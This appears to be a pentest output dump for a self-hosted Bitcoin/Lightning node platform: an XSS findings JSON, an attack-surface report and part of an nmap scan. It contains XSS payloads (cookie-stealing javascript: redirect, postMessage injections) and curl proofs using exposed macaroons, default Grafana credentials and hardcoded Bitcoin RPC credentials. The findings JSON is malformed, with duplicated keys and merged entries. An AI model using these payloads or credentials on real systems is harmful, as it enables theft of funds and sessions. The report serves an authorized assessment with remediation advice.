"type": "dom_based_xss_javascript_uri_redirect",
"endpoint": "/login",
"parameter": "redirect (query)",
"confidence": "medium",
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
},
{
"id": "XSS-003",
"type": "dom_xss_postmessage",
"endpoint": "Settings.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
"type": "dom_based_cross_origin_message_injection",
"endpoint": "postMessage handler (NIP-07)",
"parameter": "event.data (nostr-request)",
"confidence": "high",
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
},
{
"id": "XSS-004",
"type": "missing_csp_headers",
"endpoint": "All responses (nginx)",
"parameter": "Content-Security-Policy, X-Frame-Options",
"type": "weak_csp_unsafe_inline",
"endpoint": "all pages (nginx)",
"parameter": "n/a",
"confidence": "high",
"payload_suggestion": "No CSP set — any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
},
{
"id": "XSS-005",
"type": "reflected_xss_json",
"endpoint": "/rpc/v1 (method: echo)",
"parameter": "params.message",
"confidence": "low",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
},
{
"id": "XSS-006",
"type": "dom_xss_postmessage",
"endpoint": "/test-aiui.html",
"parameter": "postMessage event.data",
"confidence": "low",
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
},
{
"id": "XSS-007",
"type": "cors_wildcard_xss_enabler",
"endpoint": "All backend endpoints",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
"payload_suggestion": "n/a - amplification factor, not direct XSS"
}
]
}

View File

@@ -0,0 +1,619 @@
# Archipelago Attack Surface Analysis
**Target:** 192.168.1.228
**Date:** 2026-03-18
**Scope:** Authorized security assessment — full infrastructure
**Assessor:** Automated recon + source code review
---
## 1. Target Overview
### Technologies Detected
| Layer | Technology | Version |
|-------|-----------|---------|
| OS | Debian 12 (Bookworm) | x86_64, kernel unknown |
| Web Server | nginx | 1.22.1 |
| Reverse Proxy (alt) | OpenResty | (port 81, Nginx Proxy Manager) |
| Backend | Rust (custom binary) | 0.1.0 (`archipelago`) |
| Frontend | Vue 3 + TypeScript + Vite 7 | SPA at `/` |
| Container Runtime | Podman (rootless) | — |
| Lightning | LND | auto-generated TLS cert |
| Bitcoin | Bitcoin Core/Knots | mainnet, block 941146 |
| Monitoring | Grafana | 10.2.0 |
| Uptime | Uptime Kuma | (port 3001) |
| Proxy Manager | Nginx Proxy Manager | 2.14.0 |
| SSH | OpenSSH | 9.2p1 Debian 2+deb12u7 |
| TLS | Self-signed cert | CN=archipelago.local, expires 2027-02-17 |
### Open Ports and Services
| Port | Service | Protocol | Direct Access |
|------|---------|----------|---------------|
| 22 | SSH (OpenSSH 9.2p1) | TCP | Yes |
| 80 | Nginx (main reverse proxy) | HTTP | Yes |
| 81 | Nginx Proxy Manager (OpenResty) | HTTP | Yes |
| 443 | Nginx (HTTPS, self-signed) | HTTPS | Yes |
| 3000 | Grafana | HTTP | Yes |
| 3001 | Uptime Kuma | HTTP | Yes |
| 5678 | Archipelago Rust backend | HTTP | Yes (behind nginx) |
| 7777 | IndeedHub (nginx 1.29.6) | HTTP | Yes |
| 8080 | LND REST API | HTTPS (TLS) | Yes |
| 8334 | Bitcoin UI (custom nginx) | HTTP | Inferred from config |
| 8083 | FileBrowser | HTTP | Inferred from config |
| 8888 | SearXNG | HTTP | Inferred from config |
| 9000 | Portainer | HTTP | Yes |
| 11434 | Ollama (local LLM) | HTTP | Inferred from config |
| 3141/3142 | Claude OAuth Proxy | HTTP | Internal |
### Subdomains Discovered
- `archipelago.local` (self-signed cert SAN)
- No external subdomains (internal LAN deployment)
---
## 2. Complete Endpoint Map
### 2.1 Nginx HTTP Routes (Port 80/443)
#### Unauthenticated Endpoints
| Method | Path | Backend | Source | Auth Enforced |
|--------|------|---------|--------|---------------|
| GET | `/health` | 127.0.0.1:5678 | nginx config line ~45 | **None** |
| GET | `/electrs-status` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
| GET | `/lnd-connect-info` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
| GET | `/content` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| GET | `/content/*` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| POST | `/dwn` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| GET | `/dwn/health` | 127.0.0.1:5678 | nginx config | **None** |
| POST | `/archipelago/node-message` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| GET | `/` | Static SPA | nginx config | **None** |
| GET | `/assets/*` | Static files | nginx config | **None** |
| GET | `/nostr-provider.js` | Static file | nginx config | **None** |
#### Authenticated Endpoints (Session Cookie Required)
| Method | Path | Backend | Source | Notes |
|--------|------|---------|--------|-------|
| POST | `/rpc/v1` | 127.0.0.1:5678 | nginx config | Rate limited: 20r/s, burst 40. 1MB body. 600s timeout |
| WS | `/ws/db` | 127.0.0.1:5678 | nginx config | WebSocket upgrade. 86400s timeout |
| GET | `/api/container/logs*` | 127.0.0.1:5678 | handler.rs | Query: `?app_id=&lines=` |
| GET | `/proxy/lnd/*` | 127.0.0.1:8080 | handler.rs | Proxies to LND REST API |
| GET | `/aiui/api/claude/*` | 127.0.0.1:3141 | nginx config | Streaming. 300s timeout |
| GET | `/aiui/api/ollama/*` | 127.0.0.1:11434 | nginx config | Streaming. 300s timeout |
| GET | `/aiui/api/openrouter/*` | openrouter.ai | nginx config | External API proxy |
| GET | `/aiui/api/web-search` | 127.0.0.1:8888 | nginx config | SearXNG. 30s timeout |
#### App Proxy Routes (`/app/*`)
All inject `nostr-provider.js`, strip X-Frame-Options, re-apply SAMEORIGIN.
| Path | Backend Port | Timeout | Special |
|------|-------------|---------|---------|
| `/app/bitcoin-ui/` | 8334 | 5s | — |
| `/app/electrumx/` | 50002 | 5s | — |
| `/app/grafana/` | 3000 | 5s | — |
| `/app/uptime-kuma/` | 3001 | 5s | — |
| `/app/searxng/` | 8888 | 5s | — |
| `/app/portainer/` | 9000 | 5s | — |
| `/app/filebrowser/` | 8083 | 5s | 10GB upload limit; path traversal check |
| `/app/jellyfin/` | 8096 | 5s | — |
| `/app/photoprism/` | 2342 | 5s | — |
| `/app/onlyoffice/` | 9980 | 5s | — |
| `/app/tailscale/` | 8240 | 5s | — |
| `/app/ollama/` | 11434 | 5s | — |
| `/app/nginx-proxy-manager/` | 81 | 5s | — |
| `/app/lnd/` | 8081 | 300s | Long timeout |
| `/app/mempool/` | 4080 | 300s | Long timeout |
| `/app/fedimint/` | 8175 | 300s | Long timeout |
| `/app/fedimint-gateway/` | 8176 | 300s | Long timeout |
| `/app/nextcloud/` | 8085 | 300s | — |
| `/app/vaultwarden/` | 8082 | 300s | Password manager |
| `/app/immich/` | 2283 | 300s | — |
| `/app/penpot/` | 9001 | 300s | — |
| `/app/indeedhub/` | 7777 | 5s | Complex URL rewriting, WebSocket |
#### External Site Proxies (Separate Ports)
| Port | Upstream | Purpose |
|------|----------|---------|
| 8901 | botfights.net | Nostr proxy |
| 8902 | 484.kitchen | Nostr proxy |
| 8903 | present.l484.com | Nostr proxy |
### 2.2 Rust Backend RPC Methods (`POST /rpc/v1`)
**Protocol:** JSON-RPC 2.0
**Content-Type:** `application/json`
**Auth:** Session cookie (except where noted)
#### Unauthenticated RPC Methods (No Session Required)
| Method | Parameters | Returns | Source |
|--------|-----------|---------|--------|
| `auth.login` | `password` | Sets session cookie | `api/rpc/auth.rs` |
| `auth.login.totp` | `token`, `code` | Session | `api/rpc/auth.rs` |
| `auth.login.backup` | `token`, `backup_code` | Session | `api/rpc/auth.rs` |
| `auth.isOnboardingComplete` | — | `boolean` | `api/rpc/auth.rs` |
| `auth.isSetup` | — | `boolean` | `api/rpc/auth.rs` |
| `backup.restore-identity` | `backup_file`, `password` | `{did}` | `api/rpc/mod.rs` |
| `federation.get-state` | — | `{state}` | P2P inter-node |
| `federation.peer-joined` | `peer_did`, `address` | — | P2P inter-node |
| `federation.peer-address-changed` | `peer_did`, `new_address` | — | P2P inter-node |
#### Authenticated RPC Methods (150+ total, grouped by domain)
<details>
<summary><b>Authentication & Session (12 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `auth.logout` | — | Invalidate session |
| `auth.changePassword` | `currentPassword`, `newPassword` | Change password |
| `auth.onboardingComplete` | — | Mark onboarding done |
| `auth.resetOnboarding` | — | Reset onboarding |
| `auth.totp.setup.begin` | — | Get TOTP secret + QR |
| `auth.totp.setup.confirm` | `code` | Confirm TOTP setup |
| `auth.totp.disable` | `password` | Disable 2FA |
| `auth.totp.status` | — | Check 2FA enabled |
</details>
<details>
<summary><b>Container Management (10 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `container-install` | `image`, `name` | Install container |
| `container-start` | `app_id` | Start container |
| `container-stop` | `app_id` | Stop container |
| `container-remove` | `app_id` | Remove container |
| `container-list` | — | List all containers |
| `container-status` | `app_id` | Container status |
| `container-logs` | `app_id`, `lines` | Container logs |
| `container-health` | `app_id` | Container health |
| `bundled-app-start` | `app_id` | Start bundled app |
| `bundled-app-stop` | `app_id` | Stop bundled app |
</details>
<details>
<summary><b>Package Management (5 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `package.install` | `package_id`, `version` | Install from marketplace |
| `package.start` | `package_id` | Start package |
| `package.stop` | `package_id` | Stop package |
| `package.restart` | `package_id` | Restart package |
| `package.uninstall` | `package_id` | Uninstall |
</details>
<details>
<summary><b>Bitcoin & Lightning (15 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `bitcoin.getinfo` | — | Bitcoin Core info |
| `lnd.getinfo` | — | LND node info |
| `lnd.listchannels` | — | List channels |
| `lnd.openchannel` | `peer_pubkey`, `local_funding_amount` | Open channel |
| `lnd.closechannel` | `channel_point` | Close channel |
| `lnd.newaddress` | — | Generate address |
| `lnd.sendcoins` | `address`, `amount_sats` | Send BTC |
| `lnd.createinvoice` | `amount_sats`, `memo` | Create invoice |
| `lnd.payinvoice` | `payment_request` | Pay invoice |
| `lnd.create-psbt` | `inputs`, `outputs` | Create PSBT |
| `lnd.finalize-psbt` | `psbt` | Broadcast PSBT |
| `lnd.create-raw-tx` | `inputs`, `outputs` | Raw transaction |
| `lnd.gettransactions` | — | Wallet history |
| `lnd.connect-info` | — | LND connection string |
</details>
<details>
<summary><b>Identity & Crypto (30+ methods)</b></summary>
Covers: identity CRUD, DID resolution, Nostr key operations, NIP-04/NIP-44 encryption/decryption, verifiable credentials (issue/verify/revoke), presentations, DHT DID, NIP-05 names, key export.
</details>
<details>
<summary><b>Node & P2P (15+ methods)</b></summary>
Covers: node DID, challenge signing, backup creation, Tor address, Nostr publishing, peer management, message sending, peer discovery.
</details>
<details>
<summary><b>Federation (10 methods)</b></summary>
Covers: invite generation, joining, node listing, node removal, trust scoring, state sync, app deployment.
</details>
<details>
<summary><b>Mesh Networking (20+ methods)</b></summary>
Covers: status, peers, messaging, broadcast, LoRa configuration, invoice relay, GPS coordinates, emergency alerts, deadman switch, Bitcoin tx relay, Lightning relay, block headers, X3DH prekey rotation.
</details>
<details>
<summary><b>Ecash Wallet (6 methods)</b></summary>
Covers: balance, mint, melt, send, receive, transaction history.
</details>
<details>
<summary><b>Content Sharing (7 methods)</b></summary>
Covers: list own content, add/remove files, pricing, availability, browse/download from peers.
</details>
<details>
<summary><b>DWN (7 methods)</b></summary>
Covers: status, sync, protocol management, message query/write.
</details>
<details>
<summary><b>Network & Infrastructure (20+ methods)</b></summary>
Covers: network interfaces, WiFi scan/config, Ethernet config, DNS config, UPnP router discovery/forwarding, Tor service management (list/create/delete/rotate), Nostr relay management, VPN config.
</details>
<details>
<summary><b>System Management (15+ methods)</b></summary>
Covers: system stats, processes, temperature, USB detection, disk status/cleanup, factory reset, monitoring (current/history/alerts), updates (check/download/apply/rollback), backup (create/list/verify/restore/USB/S3).
</details>
<details>
<summary><b>Other (10+ methods)</b></summary>
Covers: server naming, analytics opt-in/out, webhook config, security secret rotation, marketplace discovery/publishing.
</details>
### 2.3 Direct HTTP Endpoints (Backend)
| Method | Path | Auth | Source |
|--------|------|------|--------|
| GET | `/health` | None | `handler.rs:~120` |
| GET | `/electrs-status` | None | `handler.rs` |
| GET | `/lnd-connect-info` | None | `handler.rs` |
| GET | `/content` | None | `handler.rs` |
| GET | `/content/*` | None | `handler.rs` (Range header support) |
| POST | `/archipelago/node-message` | P2P validation | `handler.rs` |
| GET | `/dwn/health` | None | `handler.rs` |
| POST | `/dwn` | None (P2P) | `handler.rs` |
| WS | `/ws/db` | Session cookie | `handler.rs:514-625` |
| GET | `/api/container/logs*` | Session | `handler.rs` |
| GET | `/proxy/lnd/*` | Session | `handler.rs` |
### 2.4 Direct Port Services
| Port | Service | Own Auth | Notes |
|------|---------|----------|-------|
| 3000 | Grafana | Session/Basic | Login page directly accessible |
| 3001 | Uptime Kuma | Session | Redirects to /dashboard |
| 81 | Nginx Proxy Manager | Session | Login page directly accessible |
| 7777 | IndeedHub | Nostr NIP-07 | Full app accessible |
| 8080 | LND REST | TLS + Macaroon | Requires valid macaroon header |
| 8334 | Bitcoin UI | None/Basic Auth on `/bitcoin-rpc/` | Hardcoded creds in nginx config |
| 9000 | Portainer | Session | Redirects to timeout (possibly unconfigured) |
### 2.5 WebSocket Endpoints
| Path | Auth | Protocol | Features |
|------|------|----------|----------|
| `/ws/db` | Session cookie | JSON Patch | 30s ping, 5min inactivity timeout, state streaming |
| `/app/indeedhub/ws/` | Nostr | WebSocket | 86400s timeout |
---
## 3. Attack Surface Map
### 3.1 Input Vectors
| Vector | Endpoint(s) | Input Type | Validation |
|--------|------------|------------|------------|
| Password login | `auth.login` | JSON body (`password`) | Bcrypt comparison, rate limited (5/min) |
| TOTP code | `auth.login.totp` | JSON body (`code`) | Constant-time comparison, 5 attempts |
| RPC method dispatch | `/rpc/v1` | JSON body (`method`, `params`) | Switch on method name, typed params |
| Container image install | `container-install` | JSON body (`image`) | Image name passed to Podman |
| File upload | `/app/filebrowser/` | Multipart/file body | 10GB limit, path traversal check |
| P2P messages | `/archipelago/node-message` | JSON body | Source validation (Tor onion) |
| DWN writes | `/dwn` | JSON body | Protocol validation |
| Content download | `/content/*` | URL path + Range header | Path-based content ID lookup |
| Bitcoin transactions | `lnd.sendcoins`, `lnd.payinvoice` | JSON body (address, amount) | Address validation |
| DNS configuration | `network.configure-dns` | JSON body (servers) | Server address validation |
| WiFi config | `network.configure-wifi` | JSON body (ssid, password) | — |
| Package install | `package.install` | JSON body (id, version, url) | marketplace URL fetched |
| Federation join | `federation.join` | JSON body (invite code) | Code validation |
| Webhook config | `webhook.configure` | JSON body (url, events) | URL stored, callbacks sent |
| Bitcoin RPC proxy | `8334:/bitcoin-rpc/` | JSON body (method, params) | Basic Auth (hardcoded) |
| Factory reset | `system.factory-reset` | JSON body (`confirm: true`) | Auth + confirm flag |
### 3.2 Authentication Mechanisms
| Mechanism | Used By | Strength |
|-----------|---------|----------|
| Password + bcrypt (cost 12) | Main login | Strong (rate limited) |
| TOTP (RFC 6238) | 2FA | Strong (constant-time, replay-protected) |
| Session cookie (256-bit random) | All authenticated endpoints | Strong (HttpOnly, SameSite=Strict) |
| Remember-me (HMAC-SHA256) | Session persistence | Medium (derived from machine-id) |
| CSRF token | State-changing operations | Present but enforcement unclear |
| Macaroon (LND) | LND REST API | Strong (but exposed via endpoint) |
| Basic Auth (hardcoded) | Bitcoin UI RPC proxy | **Weak** (hardcoded in config) |
| Default creds (Grafana) | Grafana admin | **Weak** (admin:admin works) |
| No auth | 8 HTTP endpoints, 6 RPC methods | **N/A** |
### 3.3 Data Flow
```
User Browser
├─[Session Cookie]──→ Nginx (80/443)
│ ├──→ /rpc/v1 ──→ Rust Backend (5678) ──→ Podman containers
│ ├──→ /ws/db ──→ WebSocket state stream
│ ├──→ /app/* ──→ Container UIs (iframes)
│ └──→ /aiui/* ──→ Claude Proxy (3141) ──→ Anthropic API
├─[No Auth]──→ /health, /electrs-status, /lnd-connect-info, /content, /dwn
├─[Direct Port]──→ Grafana:3000 (admin:admin)
├─[Direct Port]──→ NPM:81 (session)
├─[Direct Port]──→ LND:8080 (TLS + macaroon)
└─[Direct Port]──→ Bitcoin UI:8334 (Basic Auth hardcoded)
```
---
## 4. Interesting Findings
### CRITICAL
#### 4.1 Unauthenticated LND Admin Macaroon Exposure
- **Endpoint:** `GET /lnd-connect-info` (no auth required)
- **Confirmed:** Returns full admin macaroon (base64url), TLS certificate, gRPC port (10009), REST port (8080)
- **Macaroon permissions:** `address:rw`, `info:rw`, `invoices:rw`, `macaroon:generate/rw`, `message:rw`, `offchain:rw`, `onchain:rw`, `peers:rw`, `signer:generate/read`
- **Impact:** Any host on the LAN can retrieve the admin macaroon and gain **full control** of the Lightning node — send all funds, open/close channels, create invoices, sign messages. This is the equivalent of exposing a root password to the Bitcoin wallet.
- **CORS:** `Access-Control-Allow-Origin: *` (any origin)
**Proof:**
```bash
curl -sk http://192.168.1.228/lnd-connect-info
# Returns: {"cert_base64url":"MIIC...","grpc_port":10009,"macaroon_base64url":"AgED...","rest_port":8080}
```
#### 4.2 Grafana Default Credentials (admin:admin)
- **Endpoint:** `http://192.168.1.228:3000`
- **Confirmed:** `admin:admin` returns full organization data
- **Version:** Grafana 10.2.0 (commit 895fbafb7a)
- **Impact:** Full access to monitoring dashboards, data sources, alert rules. Can potentially access connected databases, execute queries, and pivot to other services via configured data sources.
**Proof:**
```bash
curl -sk http://192.168.1.228:3000/api/org -u admin:admin
# Returns: {"id":1,"name":"Main Org.","address":{...}}
```
#### 4.3 Bitcoin RPC Full Access via Hardcoded Credentials
- **Endpoint:** `POST http://192.168.1.228:8334/bitcoin-rpc/`
- **Credentials:** `archipelago:archipelago123` (hardcoded in `docker/bitcoin-ui/nginx.conf`)
- **Confirmed:** Returns full `getblockchaininfo` — mainnet, block 941146, 828GB on disk
- **Impact:** Full Bitcoin Core RPC access. Depending on wallet configuration, could call `sendtoaddress`, `dumpprivkey`, `listunspent`, or any other RPC method. Mainnet node with real funds.
**Proof:**
```bash
curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
-u archipelago:archipelago123 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
# Returns: {"result":{"chain":"main","blocks":941146,...},"error":null}
```
### HIGH
#### 4.4 Unauthenticated Content Catalog Exposure
- **Endpoint:** `GET /content`
- **Confirmed:** Returns complete file catalog — filenames, sizes, MIME types, UUIDs
- **Data leaked:** Personal music files with full paths (`/Music/1 - Govcucks.wav`, etc.)
- **Impact:** Information disclosure of personal files shared via P2P. File UUIDs could be used to download content via `/content/{id}`.
#### 4.5 Nginx Proxy Manager Accessible on LAN
- **Endpoint:** `http://192.168.1.228:81`
- **API Status:** `{"status":"OK","setup":false,"version":{"major":2,"minor":14,"revision":0}}`
- **`setup: false`** — Unclear if this means initial setup hasn't completed (would allow admin takeover) or refers to some other state
- **Impact:** NPM controls reverse proxy routing for all services. Compromise = ability to redirect traffic, intercept credentials, or add malicious proxy rules.
### MEDIUM
#### 4.6 Version and Service Information Disclosure
| Source | Information Exposed |
|--------|-------------------|
| HTTP `Server` header | `nginx/1.22.1` |
| Port 81 `Server` header | `openresty` |
| Port 3000 `/api/health` | Grafana 10.2.0, commit hash, database status |
| Port 81 `/api/` | NPM version 2.14.0 |
| Port 8080 TLS cert | `lnd autogenerated cert`, internal IPs, Tailscale IPs |
| Port 443 TLS cert | SANs include: 192.168.1.228, 192.168.1.198, 10.0.0.1, archipelago.local |
| SSH banner | OpenSSH 9.2p1 Debian 2+deb12u7, ECDSA + ED25519 host keys |
| `/electrs-status` | Blockchain sync: 99%, index size 124.8GB, network height |
| `/dwn/health` | 1027 messages, 10 protocols, 551KB storage |
| `auth.isOnboardingComplete` | Node setup state (returns `true`) |
| Error responses | "Password Incorrect" (confirms account exists) |
#### 4.7 LND TLS Certificate Leaks Internal Network Topology
The LND auto-generated TLS cert (port 8080) exposes SANs including:
- Internal IPs: `192.168.1.228`, `10.88.0.1` (Podman bridge)
- Tailscale IPs: `2A00:23C5:E31:A001:572F:29BF:5A00:2D46` (IPv6)
- Link-local IPs: 5 different `FE80::` addresses (reveals all network interfaces)
#### 4.8 CSP Allows `unsafe-inline`
```
script-src 'self' 'unsafe-inline'
style-src 'self' 'unsafe-inline'
```
While necessary for the Vue SPA, `unsafe-inline` for scripts significantly weakens XSS protection. If any injection point exists, inline script execution is possible.
#### 4.9 `connect-src` Allows Broad Connections
```
connect-src 'self' ws: wss: http://192.168.1.228:* https:
```
Allows JavaScript to connect to ANY port on the host and ANY HTTPS endpoint. An XSS payload could exfiltrate data to external servers or interact with any local service port.
#### 4.10 DWN Endpoint Accepts Unauthenticated Queries
- **Endpoint:** `POST /dwn`
- **Confirmed:** Accepts JSON queries and returns results
- **Impact:** Remote parties can query DWN records. While designed for P2P, the lack of access control means any network-adjacent attacker can enumerate stored data.
### LOW / INFORMATIONAL
#### 4.11 Login Rate Limiting Works
Rate limiting triggers after 4 failed attempts (returns HTTP 429). Effective against brute force. However, the limit is per-IP, not per-account — an attacker with multiple IPs could parallelize attempts.
#### 4.12 CORS Properly Restricts Origins
CORS preflight for `Origin: http://evil.com` returns no `Access-Control-Allow-Origin` header. Only configured origins (`http://192.168.1.228`, `http://localhost:8100`) are allowed. WebSocket also returns 401 without valid session.
#### 4.13 Path Traversal Mitigated
`/content/../../../etc/passwd` returns the SPA index.html (nginx catches it). URL-encoded traversal (`%2f..%2f`) returns 400 Bad Request. FileBrowser has explicit `..` regex checks in nginx config.
#### 4.14 Git/Env Files Not Exposed
`/.git/HEAD` and `/.env` both return the SPA index.html (Vue Router catch-all). No source code or credential leakage.
#### 4.15 Security Headers Present
All security headers are properly set: HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy, X-DNS-Prefetch-Control. This is above average for self-hosted applications.
---
## 5. Priority Targets
### Rank 1: LND Admin Macaroon via `/lnd-connect-info` (CRITICAL)
- **What:** Unauthenticated HTTP endpoint returns full admin macaroon for LND Lightning node
- **Why it's critical:** Grants complete control over Lightning funds — send payments, drain channels, create invoices. No authentication required. Accessible to any device on the LAN.
- **Category:** Broken Access Control (OWASP A01:2021)
- **Remediation:** Require session authentication on `/lnd-connect-info`. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC.
### Rank 2: Bitcoin RPC via Hardcoded Credentials (CRITICAL)
- **What:** Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth `archipelago:archipelago123`
- **Why it's critical:** Mainnet Bitcoin node. If wallet is loaded, attacker can send transactions, export private keys, or manipulate the mempool. Credentials are in version-controlled nginx config.
- **Category:** Security Misconfiguration (OWASP A05:2021), Hardcoded Credentials
- **Remediation:** Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Restrict port 8334 to localhost.
### Rank 3: Grafana Default Credentials (HIGH)
- **What:** Grafana on port 3000 accepts `admin:admin`
- **Why it's critical:** Full admin access to monitoring infrastructure. Grafana can query connected data sources (Prometheus, InfluxDB), potentially exposing system metrics, logs, and providing a pivot point. Version 10.2.0 may have known CVEs.
- **Category:** Identification and Authentication Failures (OWASP A07:2021)
- **Remediation:** Change default password. Restrict Grafana to localhost access only (proxy through authenticated nginx). Consider enabling Grafana's built-in auth proxy mode.
### Rank 4: Unauthenticated Content Catalog (HIGH)
- **What:** `GET /content` exposes personal files (names, sizes, UUIDs) without authentication
- **Why it's concerning:** Reveals personal data. UUIDs may allow direct file download via `/content/{id}`. Designed for P2P but accessible from any LAN host.
- **Category:** Broken Access Control (OWASP A01:2021)
- **Remediation:** Require peer authentication (DID signature verification) for content catalog access, not just content downloads.
### Rank 5: Nginx Proxy Manager Direct Access (HIGH)
- **What:** Port 81 serves NPM admin interface directly on LAN with `setup: false` status
- **Why it's concerning:** NPM controls all reverse proxy rules. If the "setup" state allows initial admin creation by anyone, an attacker could take over routing. Even with auth, direct port access bypasses the main nginx security headers.
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Remediation:** Restrict port 81 to localhost. Only expose NPM through the authenticated `/app/nginx-proxy-manager/` proxy path.
### Rank 6: Service Ports Directly Accessible on LAN (MEDIUM)
- **What:** Ports 3000, 3001, 7777, 8080, 8334, 9000 are directly accessible, bypassing the main nginx proxy and its security headers/CSP/CORS
- **Why it's concerning:** Each service has its own (potentially weaker) authentication. Direct access bypasses rate limiting, security headers, and session validation at the nginx layer.
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Remediation:** Bind container ports to `127.0.0.1` or Podman bridge network only. All external access should flow through the nginx proxy on port 80/443.
### Rank 7: RPC Input Injection Surface (MEDIUM)
- **What:** 150+ RPC methods accept JSON parameters that control container operations, system commands, network config, file operations, and Bitcoin transactions
- **Why it's concerning:** Methods like `container-install` (image name → Podman), `network.configure-dns` (DNS servers), `webhook.configure` (arbitrary URL callbacks), `package.install` (marketplace URL fetch) all accept user-controlled strings that interact with system commands or external services.
- **Category:** Injection (OWASP A03:2021), SSRF (OWASP A10:2021)
- **Remediation:** Audit each method for proper input sanitization. Especially: container image names (prevent registry confusion), webhook URLs (prevent SSRF), DNS servers (prevent DNS rebinding), marketplace URLs (prevent SSRF).
### Rank 8: CSP `unsafe-inline` + Broad `connect-src` (MEDIUM)
- **What:** CSP allows inline scripts and connections to any port on the host or any HTTPS endpoint
- **Why it's concerning:** If any XSS vector exists (e.g., in app iframe content, reflected parameters, or injected HTML), the attacker can execute arbitrary JavaScript and exfiltrate data to external servers or interact with all local services.
- **Category:** XSS / Security Misconfiguration (OWASP A03/A05:2021)
- **Remediation:** Migrate to nonce-based CSP. Restrict `connect-src` to specific required ports/domains.
---
## Appendix: Security Headers (Full)
```http
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-DNS-Prefetch-Control: off
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:;
font-src 'self' data:; connect-src 'self' ws: wss: http://192.168.1.228:* https:;
frame-src 'self' http://192.168.1.228:* https:; frame-ancestors 'self';
base-uri 'self'; form-action 'self';
Server: nginx/1.22.1
```
## Appendix: Rate Limiting Configuration
| Layer | Target | Rate | Burst |
|-------|--------|------|-------|
| Nginx | `/rpc/` | 20 req/s | 40 |
| Backend | `auth.login` | 5 per 60s per IP | — |
| Backend | Financial ops (send, pay) | 5-10 per 300s | — |
| Backend | Auth changes (password, TOTP) | 3 per 300s | — |
| Backend | Container ops | 5 per 300s | — |
| Backend | Federation join | 5 per 60s | — |
## Appendix: Authentication Summary
| What's Good | What Needs Work |
|-------------|-----------------|
| Bcrypt cost 12 for passwords | `/lnd-connect-info` unauthenticated |
| Argon2id for TOTP key derivation | Bitcoin RPC hardcoded creds |
| ChaCha20-Poly1305 for TOTP secret encryption | Grafana default admin:admin |
| 256-bit random session tokens | Service ports directly accessible |
| HttpOnly + SameSite=Strict cookies | CSP unsafe-inline |
| Rate limiting on login (5/min) | NPM port 81 open on LAN |
| CORS origin validation | connect-src too permissive |
| Session rotation on password change | Initial password only 8 chars |
| TOTP replay protection | Error messages confirm account existence |
| AES-256-GCM secrets at rest | Rate limiter enforcement unclear for some methods |

View File

@@ -1 +1,659 @@
# Nmap 7.98 scan initiated Fri Mar 6 01:40:27 2026 as: nmap -sV -sC --top-ports 1000 -oN /Users/dorian/Projects/archy/loop/pentest/recon/nmap.txt 192.168.1.228
# Nmap 7.98 scan initiated Wed Mar 18 11:29:44 2026 as: nmap -sV -sC --top-ports 1000 -oN /Users/dorian/Projects/archy/loop/pentest/recon/nmap.txt 192.168.1.228
Nmap scan report for 192.168.1.228
Host is up (0.0030s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 60:1f:1b:cb:db:5d:25:bf:35:37:9e:22:4c:c1:75:d5 (ECDSA)
|_ 256 1e:3f:6a:b7:4b:e2:d8:8b:ee:34:a4:fd:3b:e3:b7:44 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Archipelago OS
81/tcp open http OpenResty web app server
|_http-title: Nginx Proxy Manager
|_http-server-header: openresty
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=archipelago.local/organizationName=Archipelago/countryName=US
| Subject Alternative Name: DNS:archipelago.local, DNS:localhost, IP Address:127.0.0.1, IP Address:192.168.1.228, IP Address:192.168.1.198, IP Address:10.0.0.1
| Not valid before: 2026-02-17T21:33:45
|_Not valid after: 2027-02-17T21:33:45
|_http-title: Archipelago OS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.22.1
3000/tcp open http Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
